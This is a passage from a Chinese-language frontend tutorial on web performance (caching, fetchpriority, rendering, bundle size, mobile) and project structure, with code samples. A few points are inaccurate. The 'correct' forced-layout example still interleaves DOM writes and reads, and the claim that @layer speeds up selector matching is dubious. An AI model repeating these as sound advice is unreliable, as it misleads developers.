//   0% { background-position: 200% 0; }
//   100% { background-position: -200% 0; }
// }

// 使用:列表页骨架屏
function PostListSkeleton() {
  return (
    <div className="post-list">
      {Array.from({ length: 5 }).map((_, i) => (
        <div key={i} className="post-card">
          <Skeleton height={200} borderRadius={8} />
          <Skeleton width="60%" height={24} />
          <Skeleton width="90%" height={16} />
          <Skeleton width="40%" height={16} />
        </div>
      ))}
    </div>
  )
}

Service Worker 预缓存策略

// Service Worker:在浏览器后台运行,拦截网络请求,实现离线缓存

// 使用 Workbox(Google 的 SW 工具库)
// vite.config.js
import { VitePWA } from 'vite-plugin-pwa'
export default {
  plugins: [VitePWA({
    registerType: 'autoUpdate',
    workbox: {
      // 预缓存构建产物
      globPatterns: ['**/*.{js,css,html,ico,png,svg,woff2}'],
      // 运行时缓存策略
      runtimeCaching: [
        {
          urlPattern: /^https:\/\/api\.example\.com\/.*/i,
          handler: 'NetworkFirst',    // 优先网络,失败用缓存
          options: { cacheName: 'api-cache', expiration: { maxEntries: 100, maxAgeSeconds: 86400 } }
        },
        {
          urlPattern: /\.(?:png|jpg|jpeg|svg|gif|webp)$/,
          handler: 'CacheFirst',      // 优先缓存(图片不常变)
          options: { cacheName: 'image-cache', expiration: { maxEntries: 200, maxAgeSeconds: 604800 } }
        }
      ]
    }
  })]
}

// 缓存策略选择:
// CacheFirst — 适合静态资源(图片、字体),快但可能过期
// NetworkFirst — 适合 API 数据,保证新鲜但可能慢
// StaleWhileRevalidate — 适合频繁更新但不严格的内容

Priority Hints(fetchpriority 属性)

// fetchpriority:告诉浏览器资源的加载优先级(高/低/自动)
// 2026 年主流浏览器均已支持

// 1. 提升首屏图片优先级(LCP 优化)
<img src="/hero.jpg" fetchpriority="high" alt="首屏大图" />
// 浏览器会优先下载这张图,减少 LCP 时间

// 2. 降低非关键资源优先级
<img src="/footer-logo.png" fetchpriority="low" alt="底部 logo" />
<link rel="stylesheet" href="/print.css" fetchpriority="low" />

// 3. 配合 preload 使用(最有效的组合)
<link rel="preload" href="/hero.jpg" as="image" fetchpriority="high" />
<link rel="preload" href="/critical-font.woff2" as="font" fetchpriority="high" crossorigin />

// 4. JS 脚本优先级控制
<script src="/analytics.js" fetchpriority="low" async></script>
<script src="/app.js" fetchpriority="high" defer></script>

// 效果:LCP 从 2.5s 降到 1.8s(首屏图片提前 700ms 开始下载)

66. 渲染性能

浏览器渲染页面的过程:JS → Style → Layout → Paint → Composite。渲染性能优化的核心是减少浏览器的工作量——尽量只触发 Composite(合成),避免 Layout(重排)和 Paint(重绘)。

浏览器渲染流程

// 浏览器渲染流程(从上到下,越往下开销越大):

// 1. JavaScript(执行 JS,修改 DOM/CSSOM)
//    ↓
// 2. Style(计算每个元素的样式)
//    ↓
// 3. Layout(计算每个元素的位置和大小)← 重排(Reflow)
//    ↓
// 4. Paint(把像素画到屏幕上)← 重绘(Repaint)
//    ↓
// 5. Composite(合成图层,显示到屏幕)

// 优化原则:尽量只触发 Composite,避免 Layout 和 Paint
// 触发 Composite 的属性:transform、opacity
// 触发 Paint 的属性:color、background、box-shadow
// 触发 Layout 的属性:width、height、top、left、margin、padding

避免强制同步布局

// 强制同步布局:读写 DOM 交替,浏览器被迫多次计算布局

// ❌ 读写交替,触发 3 次重排
for (let i = 0; i < 10; i++) {
  element.style.width = `${i * 10}px`   // 写(触发重排)
  const height = element.offsetHeight    // 读(强制同步重排)
}

// ✅ 先读后写,只触发 1 次重排
const widths = Array.from({ length: 10 }, (_, i) => i * 10)
const heights = widths.map(w => {
  element.style.width = `${w}px`
  return element.offsetHeight            // 批量读
})
// 然后批量写

// ✅ 使用 FastDOM 库(自动批量读写)
import fastdom from 'fastdom'
fastdom.measure(() => {
  const height = element.offsetHeight
  fastdom.mutate(() => {
    element.style.height = `${height * 2}px`
  })
})

使用 transform 代替 top/left

// ❌ 修改 top/left:触发 Layout → Paint → Composite(最慢)
element.style.left = '100px'

// ✅ 修改 transform:只触发 Composite(最快,GPU 加速)
element.style.transform = 'translateX(100px)'

// ✅ 修改 opacity:只触发 Composite
element.style.opacity = '0.5'

// 开启 GPU 加速(提升为独立图层)
.accelerated {
  will-change: transform;  // 提示浏览器优化(不要滥用)
  /* 或者用 transform: translateZ(0) hack */
}

// 注意:will-change 会占用 GPU 内存,只在需要时使用

虚拟列表与懒加载

// 虚拟列表:只渲染可见区域的元素(解决 10000+ 列表的卡顿)
// 参考第 19 章 React 性能优化

// 图片懒加载
// 方案 1:原生 loading="lazy"(最简单)
<img src="photo.jpg" loading="lazy" alt="照片" />

// 方案 2:Intersection Observer(更灵活)
const observer = new IntersectionObserver((entries) => {
  entries.forEach(entry => {
    if (entry.isIntersecting) {
      const img = entry.target
      img.src = img.dataset.src  // 进入可视区域时才加载
      observer.unobserve(img)
    }
  })
})

document.querySelectorAll('img[data-src]').forEach(img => observer.observe(img))

// 方案 3:Next.js Image 组件(自动懒加载)
<Image src="/photo.jpg" width={800} height={600} loading="lazy" />
渲染性能检查清单

1)动画用 transform 和 opacity(GPU 加速);2)避免读写 DOM 交替(强制同步布局);3)长列表用虚拟滚动;4)图片用懒加载;5)用 will-change 提示浏览器优化(谨慎使用);6)用 Performance 面板找出长任务(>50ms)并拆分。

CSS Containment(contain 属性)

// contain 告诉浏览器:这个元素的布局、样式、绘制独立于外部
// 浏览器可以跳过不受影响的部分,减少重排/重绘范围

.card {
  contain: layout;        /* 布局独立——内部变化不影响外部 */
}

.card {
  contain: content;       /* layout + style + paint 全部隔离 */
}

.card {
  contain: strict;        /* 最强——包含 size,浏览器连子元素尺寸都不用算 */
  /* ⚠️ 必须手动设置宽高,否则元素可能塌缩为 0 */
}

// 实际场景:1000 个卡片列表
// 没有 contain:滚动时浏览器要检查每个卡片是否影响布局
// 有 contain: content:浏览器知道每个卡片独立,只处理变化的那个

content-visibility: auto(跳过离屏渲染)

// content-visibility: auto 让浏览器跳过屏幕外元素的渲染
// 首次进入视口时才计算样式和布局,大幅提升长页面性能

.list-item {
  content-visibility: auto;
  contain-intrinsic-size: 0 200px;  /* 预估高度,避免滚动条跳动 */
}

// 效果对比(10000 个列表项):
// 无 content-visibility:首屏渲染 ~800ms
// 有 content-visibility:首屏渲染 ~120ms(只渲染可见的 ~20 个)

// 适用场景:
// ✅ 长列表、博客文章、商品列表
// ✅ 折叠面板(配合 contain-intrinsic-size 预估高度)
// ❌ 首屏关键内容(不应跳过)
// ❌ 需要精确尺寸计算的元素

requestIdleCallback(利用空闲时间)

// requestIdleCallback 在浏览器空闲时执行低优先级任务
// 不阻塞主线程,不卡动画和用户交互

// 基本用法
requestIdleCallback((deadline) => {
  // deadline.timeRemaining() 返回当前帧剩余时间(ms)
  while (deadline.timeRemaining() > 0 && tasks.length > 0) {
    const task = tasks.shift()
    task()  // 在空闲时间内逐个执行任务
  }

  // 还有任务没做完?下次空闲继续
  if (tasks.length > 0) {
    requestIdleCallback(deadline => { /* 继续 */ })
  }
})

// 典型场景:
// 1. 埋点数据上报(不紧急,空闲时发送)
requestIdleCallback(() => {
  navigator.sendBeacon('/analytics', JSON.stringify(events))
})

// 2. 预加载下一页数据
requestIdleCallback(() => {
  fetch('/api/next-page').then(r => r.json())
})

// 3. 兼容性:不支持的浏览器用 setTimeout 降级
const ric = window.requestIdleCallback || ((cb) => setTimeout(() => cb({
  timeRemaining: () => 50
}), 1))

@layer 对性能的影响

// @layer(CSS 级联层)不仅管理优先级,还影响渲染性能

// 1. 减少选择器匹配开销
//    浏览器按层的顺序匹配,匹配到更高优先级的层就停止
@layer base, components, utilities;
@layer base { button { all: unset; } }
@layer components { .btn { padding: 8px 16px; } }
@layer utilities { .mt-4 { margin-top: 1rem; } }
// 浏览器从 utilities → components → base 逐层匹配
// 匹配到就停,不用检查所有样式表

// 2. 第三方样式隔离(性能 + 维护)
@layer vendor, app;
@layer vendor { /* antd / bootstrap 的样式 */ }
@layer app { /* 项目自定义样式 */ }
// app 层优先级高于 vendor,不需要 !important 或长选择器
// 更短的选择器 = 更快的匹配

// 3. 未分层的样式优先级最高(慎用)
// @layer 之外的样式 > 所有 @layer 内的样式
// 所以全局 reset 不要放在 @layer 里

67. 网络性能

网络是前端性能的"瓶颈"——再好的代码,网络慢也白搭。这一章介绍如何减少网络请求的大小和时间。

HTTP/2 和 HTTP/3

// HTTP/1.1 的问题:
// 1. 每个请求一个 TCP 连接(浏览器最多同时 6 个)
// 2. 请求排队等待(队头阻塞)
// 3. 需要合并文件、域名分片等优化手段

// HTTP/2 的改进:
// 1. 多路复用:所有请求共享一个 TCP 连接(无并发限制)
// 2. 头部压缩:减少请求头大小
// 3. 服务器推送:服务器主动推送资源
// 4. 不需要合并文件(反而拆成小文件更好)

// HTTP/3 的改进(基于 QUIC 协议):
// 1. 基于 UDP,连接建立更快(0-RTT)
// 2. 没有队头阻塞(每个流独立)
// 3. 网络切换时不断连(从 WiFi 切到 4G)

// 如何启用:服务器配置即可,前端代码不需要改
// Nginx:listen 443 quic; add_header Alt-Svc 'h3=":443"; ma=86400';

资源压缩

// 1. Gzip/Brotli 压缩(服务器配置)
// Gzip:压缩率 60-80%,所有浏览器支持
// Brotli:压缩率比 Gzip 高 15-20%,现代浏览器支持

// Nginx 配置
// gzip on;
// gzip_types text/plain text/css application/json application/javascript;
// brotli on;
// brotli_types text/plain text/css application/json application/javascript;

// 2. 图片格式优化
<picture>
  <source srcset="image.avif" type="image/avif" />    // 最小,支持度增长中
  <source srcset="image.webp" type="image/webp" />    // 比 JPEG 小 25-34%
  <img src="image.jpg" alt="图片" />                   // 兜底
</picture>

// 3. 字体压缩
// woff2 格式比 woff 小 30%,比 ttf 小 50%
// 只加载需要的字符子集(中文尤其重要)
// 工具:fonttools(Python)或 Fontsubset(在线工具)

资源提示

// 资源提示:告诉浏览器提前准备,减少等待时间

// DNS 预解析(减少 DNS 查询时间)
<link rel="dns-prefetch" href="//cdn.example.com" />

// 预连接(DNS + TCP + TLS 全部提前完成)
<link rel="preconnect" href="https://api.example.com" />

// 预加载(当前页面需要的关键资源)
<link rel="preload" href="/fonts/inter.woff2" as="font" crossorigin />
<link rel="preload" href="/api/data" as="fetch" crossorigin />

// 预获取(下一页可能需要的资源,空闲时加载)
<link rel="prefetch" href="/next-page.js" />

// 预渲染(提前渲染整个页面)
<link rel="prerender" href="/about" />

// Service Worker 缓存策略
// Cache First:静态资源(优先缓存)
// Network First:API 数据(优先网络)
// Stale While Revalidate:不常变的资源(先用缓存,后台更新)

Priority Hints(fetchpriority 属性)

// fetchpriority 告诉浏览器资源的加载优先级
// 高优先级资源优先下载,低优先级的让路

// 值:high / low / auto(默认)
// 1. 首屏大图设为 high(LCP 关键资源)
<img src="/hero.webp" fetchpriority="high" alt="首屏图" />

// 2. 首屏 CSS 设为 high
<link rel="stylesheet" href="/critical.css" fetchpriority="high" />

// 3. 非关键资源设为 low(不抢占带宽)
<img src="/footer-logo.png" fetchpriority="low" alt="底部 logo" />
<link rel="stylesheet" href="/print.css" fetchpriority="low" />

// 4. JS 中动态控制
const img = new Image()
img.fetchPriority = 'high'   // 轮播首图
img.src = '/carousel-1.jpg'

// 实测效果:LCP 图片从 low 改为 high,LCP 时间减少 200-500ms

103 Early Hints(提前提示)

// 103 Early Hints:服务器在正式响应之前,先发一批提示
// 告诉浏览器“我还在准备页面,你先去加载这些资源”
// 可以节省 100-500ms 的等待时间

// Nginx 配置(在主响应前发送预连接提示)
// add_header Link "<https://cdn.example.com>; rel=preconnect"
// add_header Link "<https://api.example.com>; rel=preconnect"

// Cloudflare 开启方式:
// Dashboard → Speed → Optimization → Protocol → Enable Early Hints

// 典型用途:
// 1. 提前建立 CDN 连接(preconnect)
// 2. 提前加载关键 CSS/JS(preload)
// 3. 提前 DNS 解析(dns-prefetch)

// 注意:103 需要浏览器支持(Chrome 103+、Edge 103+)
// 不支持的浏览器会忽略,不影响正常加载

CDN 边缘缓存配置

// CDN 边缘缓存:资源存在离用户最近的节点,减少传输距离

// 1. 静态资源(JS/CSS/图片)——长期缓存 + 文件名哈希
// Cache-Control: public, max-age=31536000, immutable
// 文件名带 hash(app.a1b2c3.js),更新后 hash 变化,自动失效

// 2. HTML 入口文件——短缓存或不缓存
// Cache-Control: no-cache   (每次验证是否更新)

// 3. API 数据——按业务需求设置
// Cache-Control: public, max-age=60, stale-while-revalidate=300
// 60 秒内直接用缓存,过期后 5 分钟内异步更新

// 4. Nginx 边缘缓存示例
// proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=edge:10m;
// location /api/ {
//     proxy_cache edge;
//     proxy_cache_valid 200 60s;
//     proxy_cache_use_stale error timeout updating;
// }

// 5. 验证 CDN 缓存是否命中
// curl -I https://cdn.example.com/app.js
// 查看响应头:X-Cache: HIT(命中)或 MISS(未命中)
// 查看 Age 头:已缓存的秒数
网络性能优化清单

1)启用 HTTP/2(或 HTTP/3);2)开启 Gzip/Brotli 压缩;3)图片用 WebP/AVIF 格式;4)字体用 woff2 格式 + 子集加载;5)用 <link rel="preload"> 预加载关键资源;6)用 fetchpriority 标记 LCP 关键资源;7)CDN 边缘缓存 + 文件名哈希长期缓存;8)静态资源部署到 CDN;9)设置合理的 HTTP 缓存策略。

68. Bundle 优化

Bundle 优化的核心目标:减小 JS/CSS 文件的体积。更小的文件 = 更快的下载 = 更快的页面加载。

分析打包产物

// 优化之前,先分析:哪些包太大?
// 安装:pnpm add -D rollup-plugin-visualizer
import { visualizer } from 'rollup-plugin-visualizer'

// vite.config.ts
export default defineConfig({
  plugins: [
    visualizer({
      open: true,          // 构建后自动打开可视化图表
      filename: 'stats.html',
      gzipSize: true       // 显示 Gzip 后的大小
    })
  ]
})

// 常见的"大包":
// moment.js (~300KB) → 用 dayjs (~2KB) 替代
// lodash (~70KB) → 用 lodash-es + 按需引入
// antd (~1MB) → 按需引入(Vite 自动处理)
// echarts (~800KB) → 按需引入图表类型

优化策略

// 1. 代码分割(最有效)
// 路由级别分割(参考第 65 章)
const Dashboard = lazy(() => import('./pages/Dashboard'))

// 手动分包(把大依赖单独打包,利用缓存)
// vite.config.ts
export default defineConfig({
  build: {
    rollupOptions: {
      output: {
        manualChunks: {
          'react-vendor': ['react', 'react-dom', 'react-router-dom'],
          'ui-vendor': ['antd', '@ant-design/icons'],
          'chart-vendor': ['echarts']
        }
      }
    }
  }
})
// react-vendor.hash.js 只有依赖变化时才更新,用户可以长期缓存

// 2. 外部化依赖(CDN 引入,不打包)
export default defineConfig({
  build: {
    rollupOptions: {
      external: ['react', 'react-dom'],
      output: { globals: { react: 'React', 'react-dom': 'ReactDOM' } }
    }
  }
})
// index.html 中用 CDN 引入
// <script src="https://unpkg.com/react@18/umd/react.production.min.js"></script>

// 3. 按需引入
import { Button } from 'antd'          // ✅ 只打包 Button
import { cloneDeep } from 'lodash-es'  // ✅ 只打包 cloneDeep
import { format } from 'date-fns'      // ✅ 只打包 format

// 4. 替换大依赖
// moment.js (300KB) → dayjs (2KB)
// axios (14KB) → ofetch (3KB) 或原生 fetch
// styled-components (12KB) → Tailwind CSS (0KB 运行时)

Source Map 配置与生产策略

// Source Map 映射压缩代码到源码,方便调试
// 但生产环境暴露源码有安全风险,需要权衡

// vite.config.ts
export default defineConfig({
  build: {
    sourcemap: false,           // 生产环境默认关闭
    // sourcemap: 'hidden',     // 生成但不暴露 URL(需配合错误监控上传)
    // sourcemap: true,         // 开发环境使用
  }
})

// 推荐策略:
// 开发环境:sourcemap: true(完整源码映射)
// 测试环境:sourcemap: 'hidden'(生成但不暴露,上传到 Sentry)
// 生产环境:sourcemap: false(不生成,彻底关闭)

// Sentry 上传 Source Map(CI 中执行)
// npx @sentry/cli upload-sourcemaps ./dist \
//   --org=your-org --project=your-project \
//   --release=$(git rev-parse --short HEAD)

// webpack 配置
// devtool: 'source-map'          // 完整(最慢)
// devtool: 'cheap-module-source-map' // 不含列信息(快)
// devtool: 'nosources-source-map'    // 只有堆栈,不含源码(安全)

Dynamic Import 高级模式

// 动态 import 不只是路由懒加载,还有更多玩法

// 1. 条件加载(按需加载 polyfill)
if (!('IntersectionObserver' in window)) {
  await import('intersection-observer')
}

// 2. 按用户角色加载(管理员组件不给普通用户加载)
const AdminPanel = user.role === 'admin'
  ? lazy(() => import('./AdminPanel'))
  : lazy(() => import('./UserPanel'))

// 3. 带加载失败重试的 lazy
function lazyWithRetry(factory, retries = 3) {
  return lazy(() => {
    return new Promise((resolve, reject) => {
      const attempt = (n) => {
        factory().then(resolve).catch((err) => {
          if (n <= 1) return reject(err)
          setTimeout(() => attempt(n - 1), 1000)
        })
      }
      attempt(retries)
    })
  })
}
const Dashboard = lazyWithRetry(() => import('./Dashboard'))

// 4. 预加载(鼠标悬停时开始加载)
const preloadChart = () => import('./ChartComponent')
<Link onMouseEnter={preloadChart} to="/charts">图表</Link>

CSS 代码分割策略

// CSS 也会膨胀,同样需要分割优化

// 1. Vite 自动分割:每个异步 chunk 的 CSS 单独打包
// import('./Dashboard') → Dashboard.css 自动分离

// 2. CSS Modules 按组件分割(天然隔离)
// button.module.css 只在 Button 组件中引用
// 构建时未使用的 CSS 自动 tree-shake

// 3. 动态加载非关键 CSS
// 首屏只加载关键 CSS,其余延迟加载
function loadCSS(href) {
  const link = document.createElement('link')
  link.rel = 'stylesheet'
  link.href = href
  document.head.appendChild(link)
}
// 页面加载完成后加载打印样式
window.addEventListener('load', () => loadCSS('/print.css'))

// 4. Tailwind CSS 的 purge(生产环境自动移除未使用的类)
// tailwind.config.js
module.exports = {
  content: ['./src/**/*.{js,ts,jsx,tsx}'],
  // 只打包实际用到的类,生产 CSS 通常 < 10KB
}

// 5. 检查未使用的 CSS
// Chrome DevTools → Coverage(Ctrl+Shift+P → Coverage)
// 红色部分 = 未使用的 CSS,考虑移除或延迟加载

Bundle 预算 CI 自动化脚本

// 把 Bundle 预算检查加入 CI,超限自动阻止合并

// scripts/check-bundle-size.sh
#!/bin/bash
set -e
MAX_JS_KB=200    # JS 上限 200KB(gzip 后)
MAX_CSS_KB=50    # CSS 上限 50KB(gzip 后)

js_size=$(find dist -name '*.js' -exec gzip -c {} + | wc -c)
css_size=$(find dist -name '*.css' -exec gzip -c {} + | wc -c)
js_kb=$((js_size / 1024))
css_kb=$((css_size / 1024))

echo "JS (gzip): ${js_kb}KB / ${MAX_JS_KB}KB"
echo "CSS (gzip): ${css_kb}KB / ${MAX_CSS_KB}KB"

if [ "$js_kb" -gt "$MAX_JS_KB" ] || [ "$css_kb" -gt "$MAX_CSS_KB" ]; then
  echo "❌ Bundle exceeds budget!"
  exit 1
fi
echo "✅ Bundle within budget"

// package.json 中添加脚本
// "scripts": { "check-size": "bash scripts/check-bundle-size.sh" }

// GitHub Actions 集成
// - name: Check bundle size
//   run: pnpm check-size

// 更好的方案:用 size-limit 库(支持 PR 评论对比)
// pnpm add -D @size-limit/preset-app
// .size-limit.json: [{ "path": "dist/**/*.js", "limit": "200 kB" }]
Bundle 大小预算

1)用 visualizer 分析打包产物,找到大包;2)路由级代码分割 + 手动分包;3)按需引入 + 替换大依赖;4)配置 Source Map 策略(生产用 hidden 或关闭);5)CSS 按组件分割 + Tailwind purge;6)Bundle 预算加入 CI,超限阻止合并。

69. 移动端性能

// 1. 触摸延迟(300ms 问题)
// 旧浏览器为了判断双击,延迟 300ms 才触发 click
// 解决:使用 touchend 事件,或确保页面设置了 viewport
<meta name="viewport" content="width=device-width, initial-scale=1" />

// 2. 滚动优化
// 使用 passive 监听器(告诉浏览器不会阻止默认行为)
element.addEventListener('touchmove', handler, { passive: true })

// 3. 防抖和节流
function debounce(fn, delay) {
  let timer
  return (...args) => {
    clearTimeout(timer)
    timer = setTimeout(() => fn(...args), delay)
  }
}

function throttle(fn, limit) {
  let inThrottle
  return (...args) => {
    if (!inThrottle) {
      fn(...args)
      inThrottle = true
      setTimeout(() => inThrottle = false, limit)
    }
  }
}

// 搜索框用防抖(输入停顿后才发请求)
const handleSearch = debounce((keyword) => {
  fetch(`/api/search?q=${keyword}`)
}, 300)

// 滚动用节流(每 200ms 最多触发一次)
const handleScroll = throttle(() => {
  checkIfReachBottom()
}, 200)

// 4. 内存管理
// 避免内存泄漏:清理事件监听器、定时器、大对象引用
useEffect(() => {
  const handler = () => { ... }
  window.addEventListener('scroll', handler)
  return () => window.removeEventListener('scroll', handler)
}, [])

touch-action 优化触摸响应

// touch-action 告诉浏览器哪些触摸操作由 CSS 处理,避免不必要的等待
.no-pan {
  touch-action: none;             /* 禁用所有默认触摸行为(手势应用) */
}
.scrollable {
  touch-action: pan-y;            /* 只允许垂直滚动,水平方向由 JS 处理 */
}
.map-canvas {
  touch-action: pinch-zoom;       /* 允许缩放,禁止平移(地图场景) */
}

// 最佳实践:在 <body> 上设置,全局消除 300ms 延迟
body { touch-action: manipulation; }  /* 禁用双击缩放,保留滚动 */

虚拟键盘与布局适配

// 移动端虚拟键盘弹出时,会挤压视口高度,导致布局跳动
// CSS 解决方案:使用 dvh(动态视口高度)替代 vh
.hero { height: 100dvh; }  /* 动态视口 = 随键盘伸缩 */

// JS 方案:监听视口变化,动态调整布局
if ('visualViewport' in window) {
  window.visualViewport.addEventListener('resize', () => {
    const kbHeight = window.innerHeight - window.visualViewport.height
    document.documentElement.style.setProperty('--kb', `${kbHeight}px`)
  })
}

// 输入框聚焦时自动滚动到可视区域
input.addEventListener('focus', () => {
  setTimeout(() => input.scrollIntoView({ behavior: 'smooth', block: 'center' }), 300)
})

网络感知与自适应加载

// Network Information API:根据网络状况调整加载策略
if ('connection' in navigator) {
  const conn = navigator.connection
  console.log('网络类型:', conn.effectiveType)  // 4g / 3g / 2g / slow-2g
  console.log('下行速度:', conn.downlink, 'Mbps')

  // 弱网策略:加载低质量资源
  if (conn.effectiveType === '2g' || conn.saveData) {
    loadImage('low-res.webp')
    disableAutoPlay()
  } else {
    loadImage('high-res.avif')
  }

  // 监听网络变化
  conn.addEventListener('change', () => {
    adaptToNetwork(conn.effectiveType)
  })
}

电池状态与自适应策略

// Battery Status API:电量低时降低功耗
if ('getBattery' in navigator) {
  const battery = await navigator.getBattery()

  function adaptToBattery() {
    if (battery.level < 0.15 && !battery.charging) {
      document.body.classList.add('power-save')
      disableAnimations()
      reducePollingFrequency()
    }
  }

  battery.addEventListener('levelchange', adaptToBattery)
  battery.addEventListener('chargingchange', adaptToBattery)
  adaptToBattery()
}
移动端性能清单

1)用 touch-action: manipulation 消除 300ms 延迟;2)用 dvh 单位处理虚拟键盘;3)用 navigator.connection 感知网络质量,弱网时降级加载;4)用 Battery API 在低电量时关闭非必要功能;5)所有触摸事件监听器加 { passive: true }。

第十部分 · 综合实战与资源

70. 项目结构与工程规范

好的项目结构让代码易于查找、易于维护、易于协作。差的结构让新成员迷路、改一个功能要找半天文件。

推荐的项目目录结构

// 推荐的项目目录结构(Next.js App Router)
src/
├── app/                        # 页面和路由(Next.js App Router)
│   ├── layout.tsx              # 根布局(导航栏、侧边栏)
│   ├── page.tsx                # 首页
│   ├── globals.css             # 全局样式
│   ├── dashboard/
│   │   ├── page.tsx            # 仪表盘页面
│   │   ├── loading.tsx         # 加载状态
│   │   └── error.tsx           # 错误状态
│   ├── users/
│   │   ├── page.tsx            # 用户列表
│   │   └── [id]/page.tsx       # 用户详情
│   └── api/                    # API 路由
│       └── users/route.ts
│
├── components/                 # 通用组件
│   ├── ui/                     # 基础 UI 组件(原子级)
│   │   ├── button.tsx
│   │   ├── input.tsx
│   │   ├── card.tsx
│   │   └── dialog.tsx
│   ├── layout/                 # 布局组件
│   │   ├── header.tsx
│   │   ├── sidebar.tsx
│   │   └── footer.tsx
│   └── business/               # 业务组件(分子级)
│       ├── user-card.tsx
│       ├── order-table.tsx
│       └── product-grid.tsx
│
├── hooks/                      # 自定义 Hooks
│   ├── use-auth.ts
│   ├── use-debounce.ts
│   └── use-local-storage.ts
│
├── lib/                        # 工具函数和配置
│   ├── api.ts                  # API 封装(Axios 实例)
│   ├── utils.ts                # 通用工具函数
│   ├── constants.ts            # 常量
│   └── validations.ts          # Zod 校验 schema
│
├── stores/                     # 状态管理(Zustand)
│   ├── auth-store.ts
│   └── cart-store.ts
│
├── types/                      # TypeScript 类型定义
│   ├── user.ts
│   ├── product.ts
│   └── api.ts
│
└── styles/                     # 样式(如果不用 Tailwind)
    ├── variables.css           # CSS 变量
    └── animations.css          # 动画

命名规范

// 文件命名
// 组件文件:kebab-case(user-card.tsx)
// 工具文件:kebab-case(format-date.ts)
// 类型文件:kebab-case(user.ts)
// 测试文件:与源文件同名 + .test.ts(user-card.test.tsx)

// 组件命名:PascalCase
function UserCard() { ... }
function OrderTable() { ... }

// 变量和函数:camelCase
const userName = '张三'
function getUserById() { ... }

// 常量:UPPER_SNAKE_CASE
const API_BASE_URL = 'https://api.example.com'
const MAX_RETRY_COUNT = 3

// 类型和接口:PascalCase
interface UserProfile { ... }
type UserRole = 'admin' | 'user'

// 自定义 Hook:以 use 开头
function useAuth() { ... }
function useDebounce() { ... }
项目结构的核心原则

1)按功能分组(user/ 下放 user 相关的所有文件),不要按类型分组(把所有 hooks 放一起、所有 components 放一起);2)就近原则——组件的样式、测试、类型放在同一个目录下;3)避免过深嵌套——最多 3 层目录;4)index.ts 导出——目录下的 index.ts 统一导出,简化 import 路径。

Monorepo 项目结构

// Monorepo:多个项目共享一个仓库(Turborepo 示例)
// pnpm-workspace.yaml
packages:
  - 'apps/*'
  - 'packages/*'

// turbo.json
{
  "pipeline": {
    "build": { "dependsOn": ["^build"], "outputs": [".next/**"] },
    "dev": { "cache": false },
    "lint": {},
    "test": { "dependsOn": ["build"] }
  }
}

// 目录结构
monorepo/
├── apps/
│   ├── web/                # 主站(Next.js)
│   ├── admin/              # 管理后台(Next.js)
│   └── mobile/             # 移动端(React Native)
├── packages/
│   ├── ui/                 # 共享 UI 组件库
│   ├── utils/              # 共享工具函数
│   ├── config/             # 共享配置(ESLint、TS)
│   └── types/              # 共享类型定义
├── turbo.json
├── pnpm-workspace.yaml
└── package.json

// 运行命令
// pnpm turbo build        — 构建所有项目
// pnpm turbo dev --filter=web  — 只启动 web
// pnpm turbo lint         — 全量 lint

Atomic Design 目录映射

// Atomic Design:原子设计方法论,将 UI 拆分为 5 个层级
components/
├── atoms/                  # 原子:最小 UI 单元
│   ├── button.tsx          # 按钮
│   ├── input.tsx           # 输入框
│   └── icon.tsx            # 图标
├── molecules/              # 分子:原子的组合
│   ├── search-bar.tsx      # Input + Button
│   └── form-field.tsx      # Label + Input + Error
├── organisms/              # 有机体:分子的组合
│   ├── header.tsx          # Logo + Nav + SearchBar
│   └── data-table.tsx      # 表格 + 分页 + 搜索
├── templates/              # 模板:页面骨架
│   └── dashboard-layout.tsx
└── pages/                  # 页面:模板 + 数据
    └── dashboard.tsx

API 层架构模式

// 三层架构:API → Service → Repository

// api/users.ts — API 路由层(处理 HTTP)
export async function GET(req: Request) {
  const users = await userService.getAll()
  return Response.json(users)
}

// services/user-service.ts — 业务逻辑层
class UserService {
  async getAll() {
    const users = await userRepo.findAll()
    return users.filter(u => u.isActive)
  }
  async create(data: CreateUserDTO) {
    const hashed = await hashPassword(data.password)
    return userRepo.create({ ...data, password: hashed })
  }
}

// repositories/user-repo.ts — 数据访问层
class UserRepo {
  async findAll() { return db.user.findMany() }
  async findById(id: string) { return db.user.findUnique({ where: { id } }) }
  async create(data: Prisma.UserCreateInput) { return db.user.create({ data }) }
}

环境配置管理

// .env.example — 环境变量模板(提交到 Git)
NEXT_PUBLIC_API_URL=https://api.example.com
DATABASE_URL=postgresql://user:pass@localhost:5432/db
STRIPE_SECRET_KEY=sk_test_xxx

// 环境分层
// .env.development  — 开发环境(本地调试)
// .env.staging      — 预发布环境(测试验证)
// .env.production   — 生产环境(线上运行)

// lib/env.ts — 类型安全的环境变量
import { z } from 'zod'

const envSchema = z.object({
  NEXT_PUBLIC_API_URL: z.string().url(),
  DATABASE_URL: z.string(),
  STRIPE_SECRET_KEY: z.string().startsWith('sk_'),
})
export const env = envSchema.parse(process.env)
// 启动时校验,缺失或格式错误直接报错
工程规范的核心价值

Monorepo 减少代码重复,Atomic Design 让组件层次清晰,API 三层架构分离关注点,环境配置管理避免"在我电脑上能跑"。这些规范不是教条,而是让团队协作更高效、代码更可维护的工程实践。

71. 实战:管理后台系统

管理后台是前端最常见的项目类型。这一章从零搭建一个完整的后台管理系统。

技术栈选择

1
框架——Next.js 14+(App Router)
2
UI 库——shadcn/ui + Tailwind CSS
3
状态管理——Zustand
4
数据请求——TanStack Query + Axios
5
表单——React Hook Form + Zod
// 核心功能清单
// 1. 登录页(账号密码登录、Token 管理、路由守卫)
// 2. 侧边栏布局(可折叠、响应式、面包屑导航)
// 3. 用户管理(CRUD 表格、搜索、分页、批量操作)
// 4. 数据看板(图表、统计卡片、实时数据)
// 5. 权限控制(路由权限、按钮权限、菜单权限)
// 6. 系统设置(主题切换、语言切换、个人资料)

// 权限控制示例
function hasPermission(userPermissions, requiredPermission) {
  return userPermissions.includes(requiredPermission)
}

function PermissionButton({ permission, children, ...props }) {
  const { user } = useAuthStore()
  if (!hasPermission(user.permissions, permission)) return null
  return <Button {...props}>{children}</Button>
}

// 使用
<PermissionButton permission="user:delete">删除用户</PermissionButton>

完整 CRUD + API 集成

// hooks/useUsers.ts — 封装 CRUD 的 TanStack Query Hook
import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'
import { api } from '@/lib/api'

export function useUsers(filters) {
  const qc = useQueryClient()

  const list = useQuery({
    queryKey: ['users', filters],
    queryFn: () => api.get('/users', { params: filters }),
  })

  const create = useMutation({
    mutationFn: (data) => api.post('/users', data),
    onSuccess: () => qc.invalidateQueries({ queryKey: ['users'] }),
  })

  const update = useMutation({
    mutationFn: ({ id, data }) => api.patch(`/users/${id}`, data),
